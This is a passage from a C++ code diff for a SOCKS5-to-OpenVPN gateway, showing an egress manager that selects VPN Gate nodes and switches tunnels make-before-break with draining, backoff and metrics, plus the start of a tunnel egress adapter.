static auto *c = metrics::counter("ovg_egress_switch_failed_total",
"Switch attempts that found no usable node");
return c;
}
metrics::Counter *m_hard() {
static auto *c = metrics::counter(
"ovg_egress_hard_switch_total",
"Switches that had to close existing sessions immediately");
return c;
}
metrics::Counter *m_drain_expired() {
static auto *c = metrics::counter(
"ovg_egress_drain_expired_total",
"Draining egresses force-closed when the grace window ran out");
return c;
}
metrics::Gauge *m_draining() {
static auto *g = metrics::gauge("ovg_egress_draining",
"Egresses serving out their last sessions");
return g;
}
int64_t ms_since(std::chrono::steady_clock::time_point t) {
using namespace std::chrono;
return duration_cast<milliseconds>(steady_clock::now() - t).count();
}
} // namespace
const char *switch_phase_name(SwitchPhase p) {
switch (p) {
case SwitchPhase::Idle:
return "idle";
case SwitchPhase::Selecting:
return "selecting";
case SwitchPhase::Connecting:
return "connecting";
case SwitchPhase::Promoting:
return "promoting";
case SwitchPhase::Draining:
return "draining";
}
return "unknown";
}
const char *switch_reason_name(SwitchReason r) {
switch (r) {
case SwitchReason::Startup:
return "startup";
case SwitchReason::Unhealthy:
return "unhealthy";
case SwitchReason::BetterCandidate:
return "better-candidate";
case SwitchReason::TunnelDown:
return "tunnel-down";
case SwitchReason::Manual:
return "manual";
}
return "unknown";
}
EgressManager::EgressManager(asio::io_context &io, Config cfg,
selector::Selector *selector,
selector::HistoryStore *history,
netstack::Stack *stack)
: io_(io),
cfg_(std::move(cfg)),
selector_(selector),
history_(history),
stack_(stack),
strand_(asio::make_strand(io)),
drain_timer_(strand_) {
#if OVG_WITH_TUNNEL
if (stack_ != nullptr) {
factory_ = [this](const vpngate::Node &node, const vpngate::Remote &remote,
NodeReadyHandler on_ready) -> EgressPtr {
auto e = TunnelEgress::create(io_, *stack_, cfg_.ovpn);
std::string err;
if (!e->start(node, remote, std::move(on_ready), &err)) {
LOG_WARN(kMod, "cannot start {}: {}", node.id(), err);
return nullptr;
}
return e;
};
}
#endif
}
EgressManager::~EgressManager() = default;
void EgressManager::set_egress_factory(EgressFactory f) {
factory_ = std::move(f);
}
void EgressManager::set_on_promote(PromoteHandler h) {
std::lock_guard<std::mutex> lk(mu_);
on_promote_ = std::move(h);
}
void EgressManager::set_on_drain_expired(DrainExpiredHandler h) {
std::lock_guard<std::mutex> lk(mu_);
on_drain_expired_ = std::move(h);
}
EgressPtr EgressManager::acquire() const {
std::lock_guard<std::mutex> lk(mu_);
// Deliberately not "any usable egress": a draining one must never take new
// sessions, or the drain would never end.
if (active_ && active_->usable()) return active_;
return nullptr;
}
void EgressManager::set_phase(SwitchPhase p) {
std::lock_guard<std::mutex> lk(mu_);
phase_ = p;
}
// ---------------------------------------------------------------------------
// Startup
// ---------------------------------------------------------------------------
void EgressManager::start(StartHandler on_ready) {
asio::post(strand_, [this, on_ready = std::move(on_ready)]() mutable {
if (shutting_down_) {
if (on_ready) on_ready(make_error_code(Error::Cancelled));
return;
}
on_start_ = std::move(on_ready);
start_reported_ = false;
start_rounds_ = 0;
if (cfg_.egress_mode != "tunnel") {
// Direct mode has nothing to select and nothing to switch to; it is up as
// soon as it is constructed.
auto e = make_direct();
set_phase(SwitchPhase::Promoting);
promote(SwitchReason::Startup, std::move(e), nullptr);
return;
}
set_phase(SwitchPhase::Selecting);
begin_select(SwitchReason::Startup);
});
}
void EgressManager::finish_start(const std::error_code &ec,
const std::string &why) {
if (start_reported_) return;
start_reported_ = true;
auto h = std::move(on_start_);
on_start_ = nullptr;
if (!h) return;
if (ec) {
LOG_ERROR(kMod, "startup failed: {}", why);
}
// Off the strand: the caller's handler starts listeners and does not belong
// inside our state machine's serialization.
asio::post(io_, [h = std::move(h), ec]() { h(ec); });
}
EgressPtr EgressManager::make_direct() { return DirectEgress::create(io_, cfg_.dns); }
// ---------------------------------------------------------------------------
// Switch request
// ---------------------------------------------------------------------------
bool EgressManager::request_switch(SwitchReason reason, bool force,
std::string *why) {
const auto decline = [&](std::string msg) {
LOG_DEBUG(kMod, "switch({}) declined: {}", switch_reason_name(reason), msg);
if (why) *why = std::move(msg);
return false;
};
if (cfg_.egress_mode != "tunnel") {
return decline(fmt::format(
"egress_mode = {}: there is no tunnel here to switch away from",
cfg_.egress_mode));
}
const auto now = Clock::now();
{
std::lock_guard<std::mutex> lk(mu_);
// Draining counts as quiescent: a 2-minute grace window must not block a
// node going bad in the meantime.
if (phase_ != SwitchPhase::Idle && phase_ != SwitchPhase::Draining) {
return decline(fmt::format("a switch is already in progress ({})",
switch_phase_name(phase_)));
}
if (!force) {
if (last_switch_ != Clock::time_point{} &&
now - last_switch_ < cfg_.switching.min_interval) {
return decline(fmt::format(
"anti-flap: {} ms since the last switch, minimum is {} ms",
ms_since(last_switch_), cfg_.switching.min_interval.count()));
}
if (now < backoff_until_) {
return decline(fmt::format(
"backing off after a failed switch for another {} ms",
std::chrono::duration_cast<Millis>(backoff_until_ - now).count()));
}
}
// Claiming the phase here, under the same lock as the checks, is what makes
// two concurrent requests resolve to one switch.
phase_ = SwitchPhase::Selecting;
candidate_node_.clear();
}
asio::post(strand_, [this, reason] {
if (shutting_down_) {
set_phase(SwitchPhase::Idle);
return;
}
begin_select(reason);
});
return true;
}
void EgressManager::begin_select(SwitchReason reason) {
if (!selector_) {
fail_switch(reason, "no selector: nothing can be chosen");
return;
}
selector::SelectRequest req;
req.exclude_ids = excluded_ids();
// More than one, because the point of the list is to have a second choice
// when the first fails to come up.
req.want = 3;
req.probe = true;
LOG_INFO(kMod, "selecting a node ({}), excluding {} in use",
switch_reason_name(reason), req.exclude_ids.size());
selector_->select(std::move(req), [this, reason](
std::vector<selector::Candidate> c) {
asio::post(strand_, [this, reason, c = std::move(c)]() mutable {
if (shutting_down_) {
set_phase(SwitchPhase::Idle);
return;
}
on_candidates(reason, std::move(c));
});
});
}
std::vector<std::string> EgressManager::excluded_ids() const {
std::vector<std::string> ids;
std::lock_guard<std::mutex> lk(mu_);
if (active_) {
auto id = active_->stats().node_id;
if (!id.empty()) ids.push_back(std::move(id));
}
// A node still draining cannot be re-entered: its addresses are still bound
// in lwIP, and reconnecting to it would collide with itself.
for (const auto &d : draining_) {
if (!d.node_id.empty()) ids.push_back(d.node_id);
}
return ids;
}
bool EgressManager::beats_incumbent(const selector::Candidate &c) const {
if (!selector_) return true;
std::string incumbent;
{
std::lock_guard<std::mutex> lk(mu_);
if (!active_) return true;
incumbent = active_->stats().node_id;
}
if (incumbent.empty()) return true;
auto cur = selector_->rescore(incumbent);
// The incumbent has fallen out of the node list entirely. That is itself a
// reason to move, not a reason to stay.
if (!cur) return true;
const double need = cur->score * (1.0 + cfg_.switching.improvement_margin);
const bool ok = c.score >= need;
LOG_INFO(kMod, "candidate {} scores {:.3f} vs incumbent {} {:.3f} (need {:.3f}): {}",
c.node.id(), c.score, incumbent, cur->score, need,
ok ? "switching" : "staying");
return ok;
}
void EgressManager::on_candidates(SwitchReason reason,
std::vector<selector::Candidate> c) {
if (c.empty()) {
// Cold start: the directory refresh is still in flight, so there is nothing
// to choose from *yet*. Treated as a failed switch this costs a full
// backoff -- thirty seconds of "no egress" on every single start, for a
// race that resolves in about one second. It is not a failure; nothing has
// been tried. Retry soon and leave the backoff ladder alone.
if (!selector_->directory_loaded()) {
retry_startup(reason, kDirectoryWaitDelay, "waiting for the node list");
return;
}
fail_switch(reason, "selector returned no usable candidates");
return;
}
// Only an opportunistic switch has to justify itself. When the current node
// is unhealthy or gone, anything that connects is an improvement.
if (reason == SwitchReason::BetterCandidate && !beats_incumbent(c.front())) {
std::lock_guard<std::mutex> lk(mu_);
phase_ = draining_.empty() ? SwitchPhase::Idle : SwitchPhase::Draining;
return;
}
collision_forced_ = false;
auto queue = std::make_shared<std::vector<selector::Candidate>>(std::move(c));
set_phase(SwitchPhase::Connecting);
try_candidate(reason, std::move(queue), 0);
}
void EgressManager::try_candidate(SwitchReason reason, CandidateQueue queue,
size_t idx) {
if (shutting_down_) {
set_phase(SwitchPhase::Idle);
return;
}
if (idx >= queue->size()) {
fail_switch(reason, "every candidate failed to come up");
return;
}
if (!factory_) {
fail_switch(reason,
"no egress factory (built without tunnel support, or no "
"netstack was supplied)");
return;
}
const selector::Candidate &cand = (*queue)[idx];
const vpngate::Remote *remote = cand.node.pick_remote(cfg_.selector.prefer_udp);
if (remote == nullptr) {
candidate_failed(reason, queue, idx, make_error_code(Error::ConfigInvalid),
"profile has no usable remote");
return;
}
{
std::lock_guard<std::mutex> lk(mu_);
candidate_node_ = cand.node.id();
}
LOG_INFO(kMod,
"connecting candidate {}/{}: {} ({} {}:{}) score={:.3f} rtt={:.1f}ms",
idx + 1, queue->size(), cand.node.id(), cand.node.country_short,
remote->host, remote->port, cand.score, cand.rtt_ms);
// The handler is posted rather than run inline so a factory that completes
// synchronously still lands after `pending_` has been set below.
auto e = factory_(
cand.node, *remote,
[this, reason, queue, idx](const std::error_code &ec,
const std::string &detail) {
asio::post(strand_, [this, reason, queue, idx, ec, detail] {
if (shutting_down_) return;
if (ec) {
candidate_failed(reason, queue, idx, ec, detail);
return;
}
auto fresh = std::move(pending_);
if (!fresh) return; // shutdown raced us
set_phase(SwitchPhase::Promoting);
promote(reason, std::move(fresh), &(*queue)[idx]);
});
});
if (!e) {
candidate_failed(reason, queue, idx, make_error_code(Error::ConfigInvalid),
"node could not be started");
return;
}
pending_ = std::move(e);
}
void EgressManager::candidate_failed(SwitchReason reason, CandidateQueue queue,
size_t idx, const std::error_code &ec,
const std::string &detail) {
const selector::Candidate &cand = (*queue)[idx];
auto dead = std::move(pending_);
pending_.reset();
// The old egress was never touched, so this costs the sessions on it nothing.
LOG_WARN(kMod, "candidate {} failed to come up: {} ({})", cand.node.id(),
detail.empty() ? ec.message() : detail, ec.message());
if (history_) history_->record_failure(cand.node.id());
auto next = [this, reason, queue, idx] {
// Address collision is the one failure where retrying the *same* node makes
// sense -- but only after the thing it collided with is gone, which means
// giving up on keeping the old sessions. This is the documented fallback
// from the requirement: keep them if possible, otherwise drop them all.
asio::post(strand_, [this, reason, queue, idx] {
try_candidate(reason, queue, idx);
});
};
if (ec == Error::ResourceExhausted && !collision_forced_) {
collision_forced_ = true;
LOG_WARN(kMod,
"address collision with a tunnel still in use: downgrading to a "
"hard switch, existing sessions will be closed");
m_hard()->inc();
if (dead) dead->shutdown();
evict_all("address collision");
next();
return;
}
if (dead) dead->shutdown();
asio::post(strand_, [this, reason, queue, idx] {
try_candidate(reason, queue, idx + 1);
});
}
// ---------------------------------------------------------------------------
// Promotion and draining
// ---------------------------------------------------------------------------
void EgressManager::promote(SwitchReason reason, EgressPtr fresh,
const selector::Candidate *cand) {
EgressPtr old;
PromoteHandler on_promote;
{
std::lock_guard<std::mutex> lk(mu_);
old = active_;
active_ = fresh;
on_promote = on_promote_;
switches_++;
last_switch_ = Clock::now();
last_reason_ = switch_reason_name(reason);
candidate_node_.clear();
// A successful bring-up clears the penalty; the next failure starts over at
// backoff_initial rather than wherever the previous streak left off.
backoff_ = Millis{0};
backoff_until_ = Clock::time_point{};
}
m_switches()->inc();
if (cand && history_) history_->record_success(cand->node.id(), cand->rtt_ms);
LOG_INFO(kMod, "promoted {} ({}){}", fresh->label(),
switch_reason_name(reason),
old ? fmt::format(", replacing {}", old->label()) : "");
// Before the old one starts refusing work, so the SOCKS5 layer can re-home
// what is safe to re-home while both are still up.
if (on_promote) on_promote(old, fresh);
if (old) {
old->begin_drain();
const bool hard = cfg_.switching.mode == SwitchConfig::Mode::Hard;
if (hard) {
LOG_INFO(kMod, "switch mode is hard: closing {} now", old->label());
m_hard()->inc();
DrainExpiredHandler h;
{
std::lock_guard<std::mutex> lk(mu_);
h = on_drain_expired_;
}
if (h) h(old);
old->shutdown();
} else {
DrainingEgress d;
d.node_id = old->stats().node_id;
d.deadline = Clock::now() + cfg_.switching.drain_grace;
d.egress = old;
// use_count() here is ours plus every session still holding one. Reported
// rather than acted on: the sessions end when they end.
LOG_INFO(kMod, "draining {} for up to {} ms ({} references live)",
old->label(), cfg_.switching.drain_grace.count(),
old.use_count() - 1);
std::vector<EgressPtr> over_limit;
{
std::lock_guard<std::mutex> lk(mu_);
draining_.push_back(std::move(d));
// Bounded on purpose: each draining tunnel still holds an OpenVPN
// session, a netif and its buffers. Without a cap, a flapping node
// would accumulate them until memory ran out.
while (draining_.size() > cfg_.switching.max_draining) {
over_limit.push_back(draining_.front().egress);
draining_.erase(draining_.begin());
}
m_draining()->set(static_cast<int64_t>(draining_.size()));
}
for (const auto &e : over_limit) {
LOG_WARN(kMod, "too many draining egresses: closing {} early",
e->label());
m_drain_expired()->inc();
DrainExpiredHandler h;
{
std::lock_guard<std::mutex> lk(mu_);
h = on_drain_expired_;
}
if (h) h(e);
e->shutdown();
}
schedule_drain_sweep();
}
}
finish_start({}, {});
{
std::lock_guard<std::mutex> lk(mu_);
phase_ = draining_.empty() ? SwitchPhase::Idle : SwitchPhase::Draining;
}
}
void EgressManager::evict_all(const char *why) {
EgressPtr old;
std::vector<DrainingEgress> drains;
DrainExpiredHandler h;
{
std::lock_guard<std::mutex> lk(mu_);
old = std::move(active_);
active_.reset();
drains.swap(draining_);
h = on_drain_expired_;
m_draining()->set(0);
}
// acquire() returns null from here until a promotion lands: new SOCKS5
// sessions are refused rather than silently sent outside the tunnel.
if (old) {
LOG_WARN(kMod, "closing active egress {} ({})", old->label(), why);
if (h) h(old);
old->shutdown();
}
for (auto &d : drains) {
if (h) h(d.egress);
d.egress->shutdown();
}
}
void EgressManager::schedule_drain_sweep() {
{
std::lock_guard<std::mutex> lk(mu_);
if (draining_.empty()) return;
}
// One shared timer at a fixed cadence rather than a timer per drain: the
// grace window is minutes, so a second of slack costs nothing and this keeps
// the timer count independent of how many drains are in flight.
drain_timer_.expires_after(std::chrono::seconds(1));
drain_timer_.async_wait([this](const std::error_code &ec) {
if (ec) return;
sweep_drains();
});
}
void EgressManager::sweep_drains() {
if (shutting_down_) return;
std::vector<EgressPtr> expired;
std::vector<EgressPtr> finished;
DrainExpiredHandler h;
{
std::lock_guard<std::mutex> lk(mu_);
h = on_drain_expired_;
const auto now = Clock::now();
auto it = draining_.begin();
while (it != draining_.end()) {
// use_count() == 1 means we hold the only reference: every session that
// was on this egress has ended. This is the whole drain-completion test.
if (it->egress.use_count() == 1) {
finished.push_back(it->egress);
it = draining_.erase(it);
} else if (now >= it->deadline) {
expired.push_back(it->egress);
it = draining_.erase(it);
} else {
++it;
}
}
m_draining()->set(static_cast<int64_t>(draining_.size()));
}
for (const auto &e : finished) {
LOG_INFO(kMod, "drain complete for {}: last session ended after {} ms",
e->label(), e->stats().uptime_ms);
e->shutdown();
}
for (const auto &e : expired) {
LOG_WARN(kMod,
"drain grace expired for {} with {} sessions still open: closing",
e->label(), e.use_count() - 1);
m_drain_expired()->inc();
if (h) h(e);
e->shutdown();
}
bool more = false;
{
std::lock_guard<std::mutex> lk(mu_);
more = !draining_.empty();
if (!more && phase_ == SwitchPhase::Draining) phase_ = SwitchPhase::Idle;
}
if (more) schedule_drain_sweep();
}
void EgressManager::retry_startup(SwitchReason reason, Millis delay,
const std::string &why) {
// Deliberately does *not* touch backoff_ or switch_failures_: nothing was
// attempted, so there is nothing to back off from and no failure to report.
// Releasing the phase is what matters -- the tunnel-down watchdog re-requests
// every few seconds and would otherwise be told a switch is in progress.
{
std::lock_guard<std::mutex> lk(mu_);
phase_ = draining_.empty() ? SwitchPhase::Idle : SwitchPhase::Draining;
candidate_node_.clear();
}
if (reason != SwitchReason::Startup || start_reported_) {
LOG_INFO(kMod, "switch ({}) deferred: {}", switch_reason_name(reason), why);
return;
}
if (++directory_waits_ > kMaxDirectoryWaits) {
finish_start(make_error_code(Error::TunnelSetupFailed),
fmt::format("{} after {} s", why, kMaxDirectoryWaits));
return;
}
// Only the first is worth a line; the rest would be one INFO per second.
if (directory_waits_ == 1) LOG_INFO(kMod, "startup {}", why);
arm_startup_poll(delay);
}
void EgressManager::arm_startup_poll(Millis delay) {
auto timer = std::make_shared<asio::steady_timer>(strand_);
timer->expires_after(delay);
timer->async_wait([this, timer](const std::error_code &ec) {
if (ec || shutting_down_ || start_reported_) return;
// Claim the phase rather than assume it. Releasing it (which is the whole
// point of the no-penalty retry) makes the manager reachable again, and the
// tunnel-down watchdog fires every three seconds while there is no egress:
// without this check both timers run a selection at once and two tunnels
// get built for one slot.
if (!claim_switch_phase()) {
LOG_DEBUG(kMod, "startup poll: a selection is already running, waiting");
arm_startup_poll(kDirectoryWaitDelay);
return;
}
begin_select(SwitchReason::Startup);
});
}
bool EgressManager::claim_switch_phase() {
std::lock_guard<std::mutex> lk(mu_);
if (phase_ != SwitchPhase::Idle && phase_ != SwitchPhase::Draining)
return false;
phase_ = SwitchPhase::Selecting;
candidate_node_.clear();
return true;
}
void EgressManager::fail_switch(SwitchReason reason, const std::string &why) {
Millis delay{0};
{
std::lock_guard<std::mutex> lk(mu_);
switch_failures_++;
// Exponential, so a node list that is briefly unusable is retried soon and
// one that is persistently unusable is not hammered.
backoff_ = backoff_.count() == 0
? cfg_.switching.backoff_initial
: std::min(backoff_ * 2, cfg_.switching.backoff_max);
backoff_until_ = Clock::now() + backoff_;
phase_ = draining_.empty() ? SwitchPhase::Idle : SwitchPhase::Draining;
candidate_node_.clear();
delay = backoff_;
}
m_switch_failed()->inc();
LOG_WARN(kMod, "switch ({}) failed: {}; backing off {} ms",
switch_reason_name(reason), why, delay.count());
if (reason != SwitchReason::Startup || start_reported_) return;
if (++start_rounds_ >= kStartupRounds) {
finish_start(make_error_code(Error::TunnelSetupFailed),
fmt::format("no node came up after {} rounds: {}",
start_rounds_, why));
return;
}
// Startup is the one case that retries itself: there is nothing to serve
// traffic with until it succeeds, so no external trigger will arrive.
LOG_INFO(kMod, "retrying startup (round {}) in {} ms", start_rounds_ + 1,
delay.count());
arm_startup_poll(delay);
}
// ---------------------------------------------------------------------------
// Shutdown and introspection
// ---------------------------------------------------------------------------
void EgressManager::shutdown(std::function<void()> on_done) {
asio::post(strand_, [this, on_done = std::move(on_done)]() mutable {
if (shutting_down_) {
if (on_done) asio::post(io_, std::move(on_done));
return;
}
shutting_down_ = true;
drain_timer_.cancel();
finish_start(make_error_code(Error::Cancelled), "shutting down");
std::vector<EgressPtr> all;
{
std::lock_guard<std::mutex> lk(mu_);
if (active_) all.push_back(std::move(active_));
active_.reset();
for (auto &d : draining_) all.push_back(std::move(d.egress));
draining_.clear();
phase_ = SwitchPhase::Idle;
m_draining()->set(0);
}
if (pending_) all.push_back(std::move(pending_));
pending_.reset();
LOG_INFO(kMod, "shutting down {} egress(es)", all.size());
if (all.empty()) {
if (on_done) asio::post(io_, std::move(on_done));
return;
}
// Every egress must report done before the caller may stop the io_context;
// a tunnel that is still tearing down needs its handlers to keep running.
auto remaining = std::make_shared<std::atomic<size_t>>(all.size());
auto done = std::make_shared<std::function<void()>>(std::move(on_done));
for (const auto &e : all) {
e->shutdown([this, remaining, done, e]() {
if (remaining->fetch_sub(1) == 1 && *done) {
asio::post(io_, *done);
}
});
}
});
}
EgressManager::Status EgressManager::status() const {
Status s;
EgressPtr active;
{
std::lock_guard<std::mutex> lk(mu_);
s.phase = phase_;
active = active_;
s.draining = draining_.size();
s.switches = switches_;
s.switch_failures = switch_failures_;
s.last_reason = last_reason_;
s.candidate = candidate_node_;
if (last_switch_ != Clock::time_point{}) s.ms_since_switch = ms_since(last_switch_);
const auto now = Clock::now();
if (backoff_until_ > now) {
s.backoff_ms =
std::chrono::duration_cast<Millis>(backoff_until_ - now).count();
}
}
if (active) {
s.active_node = active->label();
s.active_state = active->state();
s.active_detail = active->detail();
}
return s;
}
std::vector<EgressStats> EgressManager::draining_stats() const {
std::vector<EgressPtr> copies;
{
std::lock_guard<std::mutex> lk(mu_);
copies.reserve(draining_.size());
for (const auto &d : draining_) copies.push_back(d.egress);
}
std::vector<EgressStats> out;
out.reserve(copies.size());
// stats() outside the lock: it reaches into the netstack, and holding mu_
// across that would put the accept path behind the tunnel's own mutex.
for (const auto &e : copies) out.push_back(e->stats());
return out;
}
} // namespace ovg::egress
+258
View File
@@ -0,0 +1,258 @@
// Owns the active egress and runs the switch.
//
// ---------------------------------------------------------------------------
// The one rule
// ---------------------------------------------------------------------------
// `acquire()` hands out a shared_ptr. A session holds it for its whole life.
// Promotion replaces the pointer the manager stores; it does not touch anyone
// who already has one. That single rule is the whole make-before-break design
// (docs/ARCHITECTURE.md §5.2) and the reason there is no session registry here:
// use_count() *is* the number of sessions still on an egress, so a drain is
// finished exactly when the last reference goes away, and it cannot be leaked,
// double-counted, or forgotten.
//
// ---------------------------------------------------------------------------
// The switch, end to end
// ---------------------------------------------------------------------------
// Idle -> Selecting -> Connecting -> Promoting -> Draining -> Idle
//
// Selecting ask the selector for candidates, minus the incumbent and
// anything already draining
// Connecting bring the new tunnel *all the way up* while the old one keeps
// serving. A failure here costs nothing: the old egress was never
// touched. The candidate is penalised and we back off.
// Promoting swap the pointer. New sessions land on the new egress from the
// next acquire().
// Draining the old egress serves its remaining sessions for at most
// `drain_grace`, then is force-closed.
//
// ---------------------------------------------------------------------------
// Where the requirement cannot be met, and what happens instead
// ---------------------------------------------------------------------------
// "Existing SOCKS5 TCP connections should be kept if possible; if not, drop
// them all." Two cases genuinely cannot be kept, and both degrade explicitly:
//
// * A session that has already moved bytes carries TCP state -- sequence
// numbers, a half-written request, a partially-read response -- that cannot
// be reproduced on a new path. Those sessions drain on the old egress and
// are closed when the grace window expires. A session that has moved *no*
// bytes has no such state, and SwitchConfig::retry_zero_progress lets the
// SOCKS5 layer re-dial it on the new egress transparently.
// * Two tunnels that push the same private address are indistinguishable to
// lwIP (netstack/lwip_stack.h), so the second netif is refused. Then there
// is no make-before-break to be had: the manager falls back to a hard
// switch, which is the requirement's own stated fallback.
//
// ---------------------------------------------------------------------------
// Threading
// ---------------------------------------------------------------------------
// All state transitions run on an internal strand. acquire() and stats() are
// callable from any thread and take a short mutex; they are on the accept path,
// so they never block on a switch.
#pragma once
#include <asio.hpp>
#include <chrono>
#include <functional>
#include <memory>
#include <mutex>
#include <optional>
#include <string>
#include <vector>
#include "common/config.h"
#include "common/strand_deleter.h" // ovg::Strand
#include "egress/egress.h"
#include "selector/history.h"
#include "selector/selector.h"
#include "vpngate/node.h"
namespace ovg::netstack {
class Stack;
}
namespace ovg::egress {
enum class SwitchPhase {
Idle,
Selecting,
Connecting,
Promoting,
Draining,
};
const char *switch_phase_name(SwitchPhase p);
// Why a switch was asked for. Only used for logs and metrics, but "why did it
// switch at 3am" is the first question anyone asks.
enum class SwitchReason {
Startup,
Unhealthy,
BetterCandidate,
TunnelDown,
Manual,
};
const char *switch_reason_name(SwitchReason r);
struct DrainingEgress {
EgressPtr egress;
std::chrono::steady_clock::time_point deadline;
std::string node_id;
};
class EgressManager {
public:
// `stack` may be null in a build without the tunnel, or when egress_mode is
// "direct"; in that case the manager only ever produces a DirectEgress, and
// `selector`/`history` may be null too.
//
// `history` is written from here, not only from the selector: a node that
// probes well but cannot actually complete a tunnel handshake is exactly the
// node the backoff exists for, and only this class ever learns that.
EgressManager(asio::io_context &io, Config cfg, selector::Selector *selector,
selector::HistoryStore *history, netstack::Stack *stack);
~EgressManager();
EgressManager(const EgressManager &) = delete;
EgressManager &operator=(const EgressManager &) = delete;
// Runs when the first egress becomes usable, or when startup gives up.
using StartHandler = std::function<void(const std::error_code &)>;
// Brings up the first egress. `on_ready` fires once. Retries internally with
// backoff, so an error here means the retry budget ran out, not that one node
// failed.
void start(StartHandler on_ready);
// Stops everything: the active egress, every draining one, and any switch in
// flight. `on_done` runs once it is all gone.
void shutdown(std::function<void()> on_done = {});
// The egress a new session should use. Null before start() completes or after
// shutdown. Cheap: a mutex and a shared_ptr copy.
EgressPtr acquire() const;
// Asks for a switch. Ignored (returns false) while one is already running,
// inside the anti-flap interval, or during backoff -- unless `force`, which
// the admin endpoint uses.
//
// There are four distinct ways to be declined and an operator staring at an
// admin response cannot act on any of them if they arrive as a bare false, so
// `why` (optional) is filled with the specific one. Do not collapse these back
// into a single message: "already switching" and "this build has no tunnel to
// switch to" call for opposite responses.
bool request_switch(SwitchReason reason, bool force = false,
std::string *why = nullptr);
// Fires just before the active egress is replaced, on the manager's strand.
// The SOCKS5 layer uses it to re-home zero-progress sessions and UDP
// associations onto the new egress before the old one starts draining.
using PromoteHandler =
std::function<void(const EgressPtr &old_e, const EgressPtr &new_e)>;
void set_on_promote(PromoteHandler h);
// Fires when a draining egress's grace window expires and whatever is left on
// it must be closed. The SOCKS5 layer force-closes those sessions; the egress
// itself is released here regardless.
using DrainExpiredHandler = std::function<void(const EgressPtr &)>;
void set_on_drain_expired(DrainExpiredHandler h);
// How a chosen node becomes a live egress. The default builds a TunnelEgress
// and starts it; the seam exists because the switch state machine is the most
// subtle code in the program and testing it against a volunteer-run VPN
// server in another country would test the weather, not the logic.
//
// Contract: `on_ready` is invoked exactly once, with no error when the
// returned egress is usable and with one when it never got there. Returning
// null means the node could not be started at all, and then `on_ready` is not
// invoked.
using NodeReadyHandler =
std::function<void(const std::error_code &, const std::string &detail)>;
using EgressFactory = std::function<EgressPtr(
const vpngate::Node &, const vpngate::Remote &, NodeReadyHandler)>;
void set_egress_factory(EgressFactory f);
struct Status {
SwitchPhase phase = SwitchPhase::Idle;
std::string active_node;
EgressState active_state = EgressState::Idle;
std::string active_detail;
size_t draining = 0;
uint64_t switches = 0;
uint64_t switch_failures = 0;
std::string last_reason;
int64_t ms_since_switch = -1;
int64_t backoff_ms = 0;
std::string candidate; // node currently being connected, if any
};
Status status() const;
std::vector<EgressStats> draining_stats() const;
private:
using Clock = std::chrono::steady_clock;
using CandidateQueue = std::shared_ptr<std::vector<selector::Candidate>>;
void begin_select(SwitchReason reason);
void on_candidates(SwitchReason reason, std::vector<selector::Candidate> c);
void try_candidate(SwitchReason reason, CandidateQueue queue, size_t idx);
void candidate_failed(SwitchReason reason, CandidateQueue queue, size_t idx,
const std::error_code &ec, const std::string &detail);
void promote(SwitchReason reason, EgressPtr fresh,
const selector::Candidate *cand);
void fail_switch(SwitchReason reason, const std::string &why);
// Reschedules without recording a failure. For conditions that are not the
// node list's fault -- chiefly the directory not having arrived yet.
void retry_startup(SwitchReason reason, Millis delay, const std::string &why);
void arm_startup_poll(Millis delay);
// Idle/Draining -> Selecting, atomically. False means somebody else got there
// first and this caller must not start a second selection.
bool claim_switch_phase();
void schedule_drain_sweep();
void sweep_drains();
void finish_start(const std::error_code &ec, const std::string &why);
// Hard switch: everything currently serving is closed at once. Used when
// make-before-break is impossible (address collision) or configured off.
void evict_all(const char *why);
void set_phase(SwitchPhase p);
bool beats_incumbent(const selector::Candidate &c) const;
std::vector<std::string> excluded_ids() const;
EgressPtr make_direct();
asio::io_context &io_;
Config cfg_;
selector::Selector *selector_;
selector::HistoryStore *history_;
netstack::Stack *stack_;
Strand strand_;
asio::steady_timer drain_timer_;
EgressFactory factory_;
// Strand-only.
EgressPtr pending_; // the egress being brought up, before promotion
size_t start_rounds_ = 0;
size_t directory_waits_ = 0;
StartHandler on_start_;
bool start_reported_ = false;
// Set when a candidate has already forced a hard switch this round, so the
// collision path retries exactly once instead of looping.
bool collision_forced_ = false;
bool shutting_down_ = false;
mutable std::mutex mu_; // guards everything below
SwitchPhase phase_ = SwitchPhase::Idle;
EgressPtr active_;
std::vector<DrainingEgress> draining_;
std::string candidate_node_;
uint64_t switches_ = 0;
uint64_t switch_failures_ = 0;
std::string last_reason_ = "-";
Clock::time_point last_switch_{};
Millis backoff_{0};
Clock::time_point backoff_until_{};
PromoteHandler on_promote_;
DrainExpiredHandler on_drain_expired_;
};
} // namespace ovg::egress
+505
View File
@@ -0,0 +1,505 @@
#include "egress/tunnel_egress.h"
#include <algorithm>
#include <utility>
#include "common/error.h"
#include "common/logging.h"
#include "common/metrics.h"
#include "netstack/packet_link.h"
namespace ovg::egress {
namespace {
constexpr const char *kMod = "egress";
metrics::Counter *tunnels_started() {
static auto *c = metrics::counter("ovg_tunnel_egress_started_total",
"Tunnel egresses started");
return c;
}
metrics::Counter *tunnels_ready() {
static auto *c = metrics::counter("ovg_tunnel_egress_ready_total",
"Tunnel egresses that reached Ready");
return c;
}
metrics::Counter *tunnels_failed() {
static auto *c = metrics::counter("ovg_tunnel_egress_failed_total",
"Tunnel egresses that never reached Ready");
return c;
}
metrics::Gauge *egresses_live() {
static auto *g = metrics::gauge("ovg_egress_live",
"Egress objects currently constructed");
return g;
}
} // namespace
// ---------------------------------------------------------------------------
// PacketPipe -> PacketLink
// ---------------------------------------------------------------------------
//
// The entire coupling between OpenVPN and the TCP/IP stack, in one class. Note
// what is *not* here: no framing, no length prefixes, no reassembly. The pipe
// is SOCK_DGRAM, so one send is one IP packet and one receive is one IP packet
// (ovpn/packet_pipe.h). Anything more would mean the two sides had to agree on
// a wire format, and then they would be coupled for real.
class TunnelEgress::LinkAdapter final : public netstack::PacketLink {
public:
explicit LinkAdapter(ovpn::PacketPipe &pipe) : pipe_(pipe) {}
bool send_packet(const void *data, size_t len) override {
return pipe_.send_packet(data, len) == ovpn::PacketPipe::SendStatus::Ok;
}
void async_receive(asio::mutable_buffer buf, const asio::any_io_executor &ex,
RecvHandler h) override {
if (!pipe_.is_open()) {
asio::post(ex, [h = std::move(h)] {
h(make_error_code(Error::EgressGone), 0);
});
return;
}
pipe_.socket().async_receive(
buf, asio::bind_executor(
ex, [this, h = std::move(h)](const std::error_code &ec,
size_t n) {
if (!ec) pipe_.note_received(n);
h(ec, n);
}));
}
void cancel() override {
if (!pipe_.is_open()) return;
std::error_code ignored;
pipe_.socket().cancel(ignored);
}
bool is_open() const override { return pipe_.is_open(); }
size_t max_packet_size() const override { return ovpn::kMaxPacketSize; }
private:
